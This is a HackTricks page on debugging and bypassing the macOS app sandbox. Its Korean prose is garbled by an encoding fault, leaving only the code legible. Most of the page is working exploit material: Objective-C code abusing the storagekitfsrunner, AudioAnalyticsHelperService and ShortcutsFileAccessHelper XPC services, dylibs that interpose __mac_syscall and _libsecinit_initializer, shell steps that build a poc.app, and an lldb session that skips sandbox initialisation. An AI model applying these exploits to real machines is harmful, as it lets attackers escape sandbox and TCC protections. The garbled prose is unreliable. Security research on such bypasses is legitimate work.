macOS Sandbox Debug & Bypass
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.
Sandbox loading process
.png)
Image from http://newosxbook.com/files/HITSB.pdf
μ΄μ μ΄λ―Έμ§μμλ com.apple.security.app-sandbox κΆνμ κ°μ§ μ ν리μΌμ΄μ
μ΄ μ€νλ λ μλλ°μ€κ° μ΄λ»κ² λ‘λλλμ§ κ΄μ°°ν μ μμ΅λλ€.
μ»΄νμΌλ¬λ /usr/lib/libSystem.B.dylibλ₯Ό λ°μ΄λ리μ λ§ν¬ν©λλ€.
κ·Έλ° λ€μ, **libSystem.B**λ μ¬λ¬ λ€λ₯Έ ν¨μλ₯Ό νΈμΆνμ¬ **xpc_pipe_routine**μ΄ μ ν리μΌμ΄μ
μ κΆνμ **securityd**μ μ μ‘ν©λλ€. Securitydλ νλ‘μΈμ€κ° μλλ°μ€ λ΄μμ 격리λμ΄μΌ νλμ§ νμΈνκ³ , κ·Έλ λ€λ©΄ 격리ν©λλ€.
λ§μ§λ§μΌλ‘, μλλ°μ€λ **__sandbox_ms**μ λν νΈμΆλ‘ νμ±νλλ©°, μ΄λ **__mac_syscall**μ νΈμΆν©λλ€.
Possible Bypasses
Bypassing quarantine attribute
μλλ°μ€νλ νλ‘μΈμ€μ μν΄ μμ±λ νμΌμ μλλ°μ€ νμΆμ λ°©μ§νκΈ° μν΄ κ²©λ¦¬ μμ±μ΄ μΆκ°λ©λλ€. κ·Έλ¬λ μλλ°μ€νλ μ ν리μΌμ΄μ
λ΄μμ 격리 μμ±μ΄ μλ .app ν΄λλ₯Ό μμ±ν μ μλ€λ©΄, μ ν리μΌμ΄μ
λ²λ€ λ°μ΄λ리λ₯Ό **/bin/bash**λ‘ κ°λ¦¬ν€κ² νκ³ plistμ λͺ κ°μ§ νκ²½ λ³μλ₯Ό μΆκ°νμ¬ μ μ ν리μΌμ΄μ
μ λΉμλλ°μ€ μνλ‘ μ€νν μ μμ΅λλ€.
μ΄κ²μ CVE-2023-32364μμ μνλ μμ μ λλ€.
Caution
λ°λΌμ νμ¬λ‘μλ **격리 μμ±μ΄ μλ
.app**λ‘ λλλ μ΄λ¦μ ν΄λλ₯Ό μμ±ν μ μλ€λ©΄, μλλ°μ€λ₯Ό νμΆν μ μμ΅λλ€. macOSλ.appν΄λμ μ£Ό μ€ν νμΌμμλ§ κ²©λ¦¬ μμ±μ νμΈνκΈ° λλ¬Έμ λλ€ (μ°λ¦¬λ μ£Ό μ€ν νμΌμ **/bin/bash**λ‘ κ°λ¦¬ν€κ² ν κ²μ λλ€).μ΄λ―Έ μ€νμ νκ°λ°μ .app λ²λ€μ΄ μλ€λ©΄ (μ€ν νκ° νλκ·Έκ° μλ 격리 xttrκ° μλ κ²½μ°), κ·Έκ²μ μ μ©ν μλ μμ΅λλ€β¦ λ¨, μ΄μ λ μλλ°μ€ λ΄μμλ μΌλΆ νΉκΆ TCC κΆνμ΄ μμΌλ©΄
.appλ²λ€ λ΄μ μΈ μ μμ΅λλ€ (μλλ°μ€ λμ κΆν λ΄μμλ λΆκ°λ₯ν©λλ€).
Abusing Open functionality
Word μλλ°μ€ μ°νμ λν λ§μ§λ§ μμμμλ open CLI κΈ°λ₯μ΄ μλλ°μ€λ₯Ό μ°ννλ λ° μ΄λ»κ² μ
μ©λ μ μλμ§ νμΈν μ μμ΅λλ€.
Launch Agents/Daemons
μ ν리μΌμ΄μ
μ΄ μλλ°μ€νλμ΄μΌ νλ κ²½μ°(com.apple.security.app-sandbox), μλ₯Ό λ€μ΄ LaunchAgent(~/Library/LaunchAgents)μμ μ€νλλ©΄ μλλ°μ€λ₯Ό μ°νν μ μμ΅λλ€.
μ΄ κ²μλ¬Όμμ μ€λͺ
ν λ°μ κ°μ΄, μλλ°μ€νλ μ ν리μΌμ΄μ
μΌλ‘ μ§μμ±μ μ»μΌλ €λ©΄ LaunchAgentλ‘ μλ μ€νλλλ‘ λ§λ€κ³ DyLib νκ²½ λ³μλ₯Ό ν΅ν΄ μ
μ± μ½λλ₯Ό μ£Όμ
ν μ μμ΅λλ€.
Abusing Auto Start Locations
μλλ°μ€νλ νλ‘μΈμ€κ° λμ€μ λΉμλλ°μ€ μ ν리μΌμ΄μ
μ΄ λ°μ΄λ리λ₯Ό μ€νν μμΉμ μ°κΈ° ν μ μλ€λ©΄, κ·Έκ³³μ λ°μ΄λ리λ₯Ό λ°°μΉνκΈ°λ§ νλ©΄ νμΆν μ μμ΅λλ€. μ΄λ¬ν μμΉμ μ’μ μλ ~/Library/LaunchAgents λλ /System/Library/LaunchDaemonsμ
λλ€.
μ΄λ₯Ό μν΄μλ 2λ¨κ³κ° νμν μ μμ΅λλ€: λ κ΄λ ν μλλ°μ€(file-read*, file-write*)λ₯Ό κ°μ§ νλ‘μΈμ€λ₯Ό μ€ννμ¬ μ€μ λ‘ λΉμλλ°μ€ μνλ‘ μ€νλ μμΉμ μ½λλ₯Ό μμ±νκ² ν©λλ€.
μλ μμ μμΉμ λν μ΄ νμ΄μ§λ₯Ό νμΈνμΈμ:
Abusing other processes
μλλ°μ€ νλ‘μΈμ€μμ λ μ νμ μΈ μλλ°μ€(λλ μλ μλλ°μ€)μμ μ€ν μ€μΈ λ€λ₯Έ νλ‘μΈμ€λ₯Ό ν격ν μ μλ€λ©΄, κ·Έλ€μ μλλ°μ€λ₯Ό νμΆν μ μμ΅λλ€:
Available System and User Mach services
μλλ°μ€λ λν νλ‘ν application.sbμ μ μλ νΉμ Mach μλΉμ€μ ν΅μ ν μ μλλ‘ νμ©ν©λλ€. μ΄λ¬ν μλΉμ€ μ€ νλλ₯Ό μ
μ©ν μ μλ€λ©΄ μλλ°μ€λ₯Ό νμΆν μ μμ΅λλ€.
μ΄ κΈμ λ°λ₯΄λ©΄, Mach μλΉμ€μ λν μ 보λ /System/Library/xpc/launchd.plistμ μ μ₯λ©λλ€. <string>System</string> λ° <string>User</string>λ₯Ό κ²μνμ¬ λͺ¨λ μμ€ν
λ° μ¬μ©μ Mach μλΉμ€λ₯Ό μ°Ύμ μ μμ΅λλ€.
λν, bootstrap_look_upμ νΈμΆνμ¬ μλλ°μ€νλ μ ν리μΌμ΄μ
μ Mach μλΉμ€κ° μ¬μ© κ°λ₯νμ§ νμΈν μ μμ΅λλ€.
void checkService(const char *serviceName) {
mach_port_t service_port = MACH_PORT_NULL;
kern_return_t err = bootstrap_look_up(bootstrap_port, serviceName, &service_port);
if (!err) {
NSLog(@"available service:%s", serviceName);
mach_port_deallocate(mach_task_self_, service_port);
}
}
void print_available_xpc(void) {
NSDictionary<NSString*, id>* dict = [NSDictionary dictionaryWithContentsOfFile:@"/System/Library/xpc/launchd.plist"];
NSDictionary<NSString*, id>* launchDaemons = dict[@"LaunchDaemons"];
for (NSString* key in launchDaemons) {
NSDictionary<NSString*, id>* job = launchDaemons[key];
NSDictionary<NSString*, id>* machServices = job[@"MachServices"];
for (NSString* serviceName in machServices) {
checkService(serviceName.UTF8String);
}
}
}
μ¬μ© κ°λ₯ν PID Mach μλΉμ€
μ΄ Mach μλΉμ€λ μ΄ λ¬Έμμμ μλλ°μ€λ₯Ό νμΆνλ λ° μ²μμΌλ‘ μ
μ©λμμ΅λλ€. κ·Έ λΉμ, μ ν리μΌμ΄μ
κ³Ό κ·Έ νλ μμν¬μμ μꡬλλ λͺ¨λ XPC μλΉμ€κ° μ±μ PID λλ©μΈμμ 보μμ΅λλ€(μ΄λ€μ ServiceTypeμ΄ ApplicationμΈ Mach μλΉμ€μ
λλ€).
PID λλ©μΈ XPC μλΉμ€μ μ°λ½νκΈ° μν΄μλ, μ± λ΄μμ λ€μκ³Ό κ°μ ν μ€λ‘ λ±λ‘νκΈ°λ§ νλ©΄ λ©λλ€:
[[NSBundle bundleWithPath:@β/System/Library/PrivateFrameworks/ShoveService.framework"]load];
λν, <string>Application</string>μ λν΄ System/Library/xpc/launchd.plist λ΄μμ κ²μνμ¬ λͺ¨λ Application Mach μλΉμ€λ₯Ό μ°Ύλ κ²μ΄ κ°λ₯ν©λλ€.
μ ν¨ν xpc μλΉμ€λ₯Ό μ°Ύλ λ λ€λ₯Έ λ°©λ²μ λ€μμ μλΉμ€λ₯Ό νμΈνλ κ²μ λλ€:
find /System/Library/Frameworks -name "*.xpc"
find /System/Library/PrivateFrameworks -name "*.xpc"
μ΄ κΈ°μ μ μ μ©ν μ¬λ¬ μμλ μλ³Έ μμ±λ¬Όμμ μ°Ύμ μ μμ§λ§, λ€μμ μμ½λ μμμ λλ€.
/System/Library/PrivateFrameworks/StorageKit.framework/XPCServices/storagekitfsrunner.xpc
μ΄ μλΉμ€λ νμ YESλ₯Ό λ°ννμ¬ λͺ¨λ XPC μ°κ²°μ νμ©νλ©°, λ©μλ runTask:arguments:withReply:λ μμμ λͺ
λ Ήμ μμμ λ§€κ°λ³μλ‘ μ€νν©λλ€.
μ΅μ€νλ‘μμ βλ§€μ° κ°λ¨νκ²β λ€μκ³Ό κ°μμ΅λλ€:
@protocol SKRemoteTaskRunnerProtocol
-(void)runTask:(NSURL *)task arguments:(NSArray *)args withReply:(void (^)(NSNumber *, NSError *))reply;
@end
void exploit_storagekitfsrunner(void) {
[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/StorageKit.framework"] load];
NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.storagekitfsrunner"];
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(SKRemoteTaskRunnerProtocol)];
[conn setInterruptionHandler:^{NSLog(@"connection interrupted!");}];
[conn setInvalidationHandler:^{NSLog(@"connection invalidated!");}];
[conn resume];
[[conn remoteObjectProxy] runTask:[NSURL fileURLWithPath:@"/usr/bin/touch"] arguments:@[@"/tmp/sbx"] withReply:^(NSNumber *bSucc, NSError *error) {
NSLog(@"run task result:%@, error:%@", bSucc, error);
}];
}
/System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework/XPCServices/AudioAnalyticsHelperService.xpc
μ΄ XPC μλΉμ€λ νμ YESλ₯Ό λ°ννμ¬ λͺ¨λ ν΄λΌμ΄μΈνΈλ₯Ό νμ©νμΌλ©°, λ©μλ createZipAtPath:hourThreshold:withReply:λ μμΆν ν΄λμ κ²½λ‘λ₯Ό μ§μ ν μ μκ² ν΄μ£Όμμ΅λλ€. κ·Έλ¬λ©΄ ZIP νμΌλ‘ μμΆλ©λλ€.
λ°λΌμ κ°μ§ μ± ν΄λ ꡬ쑰λ₯Ό μμ±νκ³ μμΆν λ€μ, μ΄λ₯Ό νκ³ μ€ννμ¬ μλλ°μ€λ₯Ό νμΆν μ μμ΅λλ€. μλ‘μ΄ νμΌμ 격리 μμ±μ κ°μ§μ§ μκΈ° λλ¬Έμ λλ€.
μ΅μ€νλ‘μμ:
@protocol AudioAnalyticsHelperServiceProtocol
-(void)pruneZips:(NSString *)path hourThreshold:(int)threshold withReply:(void (^)(id *))reply;
-(void)createZipAtPath:(NSString *)path hourThreshold:(int)threshold withReply:(void (^)(id *))reply;
@end
void exploit_AudioAnalyticsHelperService(void) {
NSString *currentPath = NSTemporaryDirectory();
chdir([currentPath UTF8String]);
NSLog(@"======== preparing payload at the current path:%@", currentPath);
system("mkdir -p compressed/poc.app/Contents/MacOS; touch 1.json");
[@"#!/bin/bash\ntouch /tmp/sbx\n" writeToFile:@"compressed/poc.app/Contents/MacOS/poc" atomically:YES encoding:NSUTF8StringEncoding error:0];
system("chmod +x compressed/poc.app/Contents/MacOS/poc");
[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework"] load];
NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.internal.audioanalytics.helper"];
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(AudioAnalyticsHelperServiceProtocol)];
[conn resume];
[[conn remoteObjectProxy] createZipAtPath:currentPath hourThreshold:0 withReply:^(id *error){
NSDirectoryEnumerator *dirEnum = [[[NSFileManager alloc] init] enumeratorAtPath:currentPath];
NSString *file;
while ((file = [dirEnum nextObject])) {
if ([[file pathExtension] isEqualToString: @"zip"]) {
// open the zip
NSString *cmd = [@"open " stringByAppendingString:file];
system([cmd UTF8String]);
sleep(3); // wait for decompression and then open the payload (poc.app)
NSString *cmd2 = [NSString stringWithFormat:@"open /Users/%@/Downloads/%@/poc.app", NSUserName(), [file stringByDeletingPathExtension]];
system([cmd2 UTF8String]);
break;
}
}
}];
}
/System/Library/PrivateFrameworks/WorkflowKit.framework/XPCServices/ShortcutsFileAccessHelper.xpc
μ΄ XPC μλΉμ€λ extendAccessToURL:completion: λ©μλλ₯Ό ν΅ν΄ XPC ν΄λΌμ΄μΈνΈμκ² μμμ URLμ λν μ½κΈ° λ° μ°κΈ° μ‘μΈμ€λ₯Ό μ 곡ν©λλ€. XPC μλΉμ€κ° FDAλ₯Ό κ°μ§κ³ μκΈ° λλ¬Έμ, μ΄λ¬ν κΆνμ μ
μ©νμ¬ TCCλ₯Ό μμ ν μ°νν μ μμ΅λλ€.
μ μ© λ°©λ²μ:
@protocol WFFileAccessHelperProtocol
- (void) extendAccessToURL:(NSURL *) url completion:(void (^) (FPSandboxingURLWrapper *, NSError *))arg2;
@end
typedef int (*PFN)(const char *);
void expoit_ShortcutsFileAccessHelper(NSString *target) {
[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/WorkflowKit.framework"]load];
NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.WorkflowKit.ShortcutsFileAccessHelper"];
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(WFFileAccessHelperProtocol)];
[conn.remoteObjectInterface setClasses:[NSSet setWithArray:@[[NSError class], objc_getClass("FPSandboxingURLWrapper")]] forSelector:@selector(extendAccessToURL:completion:) argumentIndex:0 ofReply:1];
[conn resume];
[[conn remoteObjectProxy] extendAccessToURL:[NSURL fileURLWithPath:target] completion:^(FPSandboxingURLWrapper *fpWrapper, NSError *error) {
NSString *sbxToken = [[NSString alloc] initWithData:[fpWrapper scope] encoding:NSUTF8StringEncoding];
NSURL *targetURL = [fpWrapper url];
void *h = dlopen("/usr/lib/system/libsystem_sandbox.dylib", 2);
PFN sandbox_extension_consume = (PFN)dlsym(h, "sandbox_extension_consume");
if (sandbox_extension_consume([sbxToken UTF8String]) == -1)
NSLog(@"Fail to consume the sandbox token:%@", sbxToken);
else {
NSLog(@"Got the file R&W permission with sandbox token:%@", sbxToken);
NSLog(@"Read the target content:%@", [NSData dataWithContentsOfURL:targetURL]);
}
}];
}
Static Compiling & Dynamically linking
μ΄ μ°κ΅¬λ Sandboxλ₯Ό μ°ννλ 2κ°μ§ λ°©λ²μ λ°κ²¬νμ΅λλ€. Sandboxλ libSystem λΌμ΄λΈλ¬λ¦¬κ° λ‘λλ λ μ¬μ©μ 곡κ°μμ μ μ©λ©λλ€. μ΄μ§ νμΌμ΄ μ΄λ₯Ό λ‘λνλ κ²μ νΌν μ μλ€λ©΄, μ λ Sandboxμ κ±Έλ¦¬μ§ μμ κ²μ λλ€:
- μ΄μ§ νμΌμ΄ μμ ν μ μ μΌλ‘ μ»΄νμΌλμλ€λ©΄, ν΄λΉ λΌμ΄λΈλ¬λ¦¬λ₯Ό λ‘λνλ κ²μ νΌν μ μμ΅λλ€.
- μ΄μ§ νμΌμ΄ μ΄λ€ λΌμ΄λΈλ¬λ¦¬λ λ‘λν νμκ° μλ€λ©΄ (λ§μ»€λ libSystemμ μκΈ° λλ¬Έμ), libSystemμ λ‘λν νμκ° μμ΅λλ€.
Shellcodes
μ¬μ§μ΄ shellcodesλ ARM64μμ libSystem.dylibμ λ§ν¬λμ΄μΌ νλ€λ μ μ μ μνμΈμ:
ld -o shell shell.o -macosx_version_min 13.0
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64
μμλμ§ μμ μ ν
**μ΄ κΈμ 보λμ€**μμ μ€λͺ ν κ²μ²λΌ, μλλ°μ€ μ νμ λ€μκ³Ό κ°μ΅λλ€:
(version 1)
(allow default)
(deny file-write* (literal "/private/tmp/sbx"))
μ νλ‘μΈμ€κ° μλ₯Ό λ€μ΄ μ€νλ¨μΌλ‘μ¨ μ°νλ μ μμ΅λλ€:
mkdir -p /tmp/poc.app/Contents/MacOS
echo '#!/bin/sh\n touch /tmp/sbx' > /tmp/poc.app/Contents/MacOS/poc
chmod +x /tmp/poc.app/Contents/MacOS/poc
open /tmp/poc.app
κ·Έλ¬λ λ¬Όλ‘ μ΄ μλ‘μ΄ νλ‘μΈμ€λ λΆλͺ¨ νλ‘μΈμ€μ κΆνμ΄λ νΉκΆμ μμλ°μ§ μμ΅λλ€.
Entitlements
νΉμ entitlementμ΄ μλ κ²½μ°, μΌλΆ actionsκ° sandboxμ μν΄ νμ©λ μ μμμ μ μνμμμ€.
(when (entitlement "com.apple.security.network.client")
(allow network-outbound (remote ip))
(allow mach-lookup
(global-name "com.apple.airportd")
(global-name "com.apple.cfnetwork.AuthBrokerAgent")
(global-name "com.apple.cfnetwork.cfnetworkagent")
[...]
Interposting Bypass
Interpostingμ λν μμΈν μ 보λ λ€μμ νμΈνμΈμ:
μλλ°μ€λ₯Ό λ°©μ§νκΈ° μν΄ _libsecinit_initializerλ₯Ό μΈν°ν¬μ€νΈν©λλ€.
// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
void _libsecinit_initializer(void);
void overriden__libsecinit_initializer(void) {
printf("_libsecinit_initializer called\n");
}
__attribute__((used, section("__DATA,__interpose"))) static struct {
void (*overriden__libsecinit_initializer)(void);
void (*_libsecinit_initializer)(void);
}
_libsecinit_initializer_interpose = {overriden__libsecinit_initializer, _libsecinit_initializer};
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
_libsecinit_initializer called
Sandbox Bypassed!
Interpost __mac_syscallλ‘ μλλ°μ€ λ°©μ§νκΈ°
// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
#include <string.h>
// Forward Declaration
int __mac_syscall(const char *_policyname, int _call, void *_arg);
// Replacement function
int my_mac_syscall(const char *_policyname, int _call, void *_arg) {
printf("__mac_syscall invoked. Policy: %s, Call: %d\n", _policyname, _call);
if (strcmp(_policyname, "Sandbox") == 0 && _call == 0) {
printf("Bypassing Sandbox initiation.\n");
return 0; // pretend we did the job without actually calling __mac_syscall
}
// Call the original function for other cases
return __mac_syscall(_policyname, _call, _arg);
}
// Interpose Definition
struct interpose_sym {
const void *replacement;
const void *original;
};
// Interpose __mac_syscall with my_mac_syscall
__attribute__((used)) static const struct interpose_sym interposers[] __attribute__((section("__DATA, __interpose"))) = {
{ (const void *)my_mac_syscall, (const void *)__mac_syscall },
};
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 0
Bypassing Sandbox initiation.
__mac_syscall invoked. Policy: Quarantine, Call: 87
__mac_syscall invoked. Policy: Sandbox, Call: 4
Sandbox Bypassed!
Debug & bypass Sandbox with lldb
μλλ°μ€λμ΄μΌ νλ μ ν리μΌμ΄μ μ μ»΄νμΌν΄ λ³΄κ² μ΅λλ€:
#include <stdlib.h>
int main() {
system("cat ~/Desktop/del.txt");
}
κ·Έλ° λ€μ μ±μ μ»΄νμΌν©λλ€:
# Compile it
gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand
# Create a certificate for "Code Signing"
# Apply the entitlements via signing
codesign -s <cert-name> --entitlements entitlements.xml sand
Caution
μ΄ μ±μ
~/Desktop/del.txtνμΌμ μ½μΌλ €κ³ ν κ²μ΄λ©°, Sandboxλ μ΄λ₯Ό νμ©νμ§ μμ΅λλ€.
Sandboxκ° μ°νλ ν μ½μ μ μλλ‘ κ·Έκ³³μ νμΌμ λ§λμΈμ:echo "Sandbox Bypassed" > ~/Desktop/del.txt
μ ν리μΌμ΄μ μ λλ²κΉ νμ¬ Sandboxκ° μΈμ λ‘λλλμ§ νμΈν΄ λ΄ μλ€:
# Load app in debugging
lldb ./sand
# Set breakpoint in xpc_pipe_routine
(lldb) b xpc_pipe_routine
# run
(lldb) r
# This breakpoint is reached by different functionalities
# Check in the backtrace is it was de sandbox one the one that reached it
# We are looking for the one libsecinit from libSystem.B, like the following one:
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
* frame #0: 0x00000001873d4178 libxpc.dylib`xpc_pipe_routine
frame #1: 0x000000019300cf80 libsystem_secinit.dylib`_libsecinit_appsandbox + 584
frame #2: 0x00000001874199c4 libsystem_trace.dylib`_os_activity_initiate_impl + 64
frame #3: 0x000000019300cce4 libsystem_secinit.dylib`_libsecinit_initializer + 80
frame #4: 0x0000000193023694 libSystem.B.dylib`libSystem_initializer + 272
# To avoid lldb cutting info
(lldb) settings set target.max-string-summary-length 10000
# The message is in the 2 arg of the xpc_pipe_routine function, get it with:
(lldb) p (char *) xpc_copy_description($x1)
(char *) $0 = 0x000000010100a400 "<dictionary: 0x6000026001e0> { count = 5, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REGISTRATION_MESSAGE_SHORT_NAME_KEY\" => <string: 0x600000c00d80> { length = 4, contents = \"sand\" }\n\t\"SECINITD_REGISTRATION_MESSAGE_IMAGE_PATHS_ARRAY_KEY\" => <array: 0x600000c00120> { count = 42, capacity = 64, contents =\n\t\t0: <string: 0x600000c000c0> { length = 14, contents = \"/tmp/lala/sand\" }\n\t\t1: <string: 0x600000c001e0> { length = 22, contents = \"/private/tmp/lala/sand\" }\n\t\t2: <string: 0x600000c000f0> { length = 26, contents = \"/usr/lib/libSystem.B.dylib\" }\n\t\t3: <string: 0x600000c00180> { length = 30, contents = \"/usr/lib/system/libcache.dylib\" }\n\t\t4: <string: 0x600000c00060> { length = 37, contents = \"/usr/lib/system/libcommonCrypto.dylib\" }\n\t\t5: <string: 0x600000c001b0> { length = 36, contents = \"/usr/lib/system/libcompiler_rt.dylib\" }\n\t\t6: <string: 0x600000c00330> { length = 33, contents = \"/usr/lib/system/libcopyfile.dylib\" }\n\t\t7: <string: 0x600000c00210> { length = 35, contents = \"/usr/lib/system/libcorecry"...
# The 3 arg is the address were the XPC response will be stored
(lldb) register read x2
x2 = 0x000000016fdfd660
# Move until the end of the function
(lldb) finish
# Read the response
## Check the address of the sandbox container in SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY
(lldb) memory read -f p 0x000000016fdfd660 -c 1
0x16fdfd660: 0x0000600003d04000
(lldb) p (char *) xpc_copy_description(0x0000600003d04000)
(char *) $4 = 0x0000000100204280 "<dictionary: 0x600003d04000> { count = 7, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ID_KEY\" => <string: 0x600000c04d50> { length = 22, contents = \"xyz.hacktricks.sandbox\" }\n\t\"SECINITD_REPLY_MESSAGE_QTN_PROC_FLAGS_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY\" => <string: 0x600000c04e10> { length = 65, contents = \"/Users/carlospolop/Library/Containers/xyz.hacktricks.sandbox/Data\" }\n\t\"SECINITD_REPLY_MESSAGE_SANDBOX_PROFILE_DATA_KEY\" => <data: 0x600001704100>: { length = 19027 bytes, contents = 0x0000f000ba0100000000070000001e00350167034d03c203... }\n\t\"SECINITD_REPLY_MESSAGE_VERSION_NUMBER_KEY\" => <int64: 0xaa3e660cef06712f>: 1\n\t\"SECINITD_MESSAGE_TYPE_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_FAILURE_CODE\" => <uint64: 0xaabe660cef067127>: 0\n}"
# To bypass the sandbox we need to skip the call to __mac_syscall
# Lets put a breakpoint in __mac_syscall when x1 is 0 (this is the code to enable the sandbox)
(lldb) breakpoint set --name __mac_syscall --condition '($x1 == 0)'
(lldb) c
# The 1 arg is the name of the policy, in this case "Sandbox"
(lldb) memory read -f s $x0
0x19300eb22: "Sandbox"
#
# BYPASS
#
# Due to the previous bp, the process will be stopped in:
Process 2517 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000187659900 libsystem_kernel.dylib`__mac_syscall
libsystem_kernel.dylib`:
-> 0x187659900 <+0>: mov x16, #0x17d
0x187659904 <+4>: svc #0x80
0x187659908 <+8>: b.lo 0x187659928 ; <+40>
0x18765990c <+12>: pacibsp
# To bypass jump to the b.lo address modifying some registers first
(lldb) breakpoint delete 1 # Remove bp
(lldb) register write $pc 0x187659928 #b.lo address
(lldb) register write $x0 0x00
(lldb) register write $x1 0x00
(lldb) register write $x16 0x17d
(lldb) c
Process 2517 resuming
Sandbox Bypassed!
Process 2517 exited with status = 0 (0x00000000)
[!WARNING] > μλλ°μ€λ₯Ό μ°ννλλΌλ TCCλ μ¬μ©μκ° νλ‘μΈμ€κ° λ°μ€ν¬νμ νμΌμ μ½λ κ²μ νμ©ν μ§ λ¬Όμ΄λ³Ό κ²μ λλ€.
References
- http://newosxbook.com/files/HITSB.pdf
- https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/
- https://www.youtube.com/watch?v=mG715HcDgO8
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.


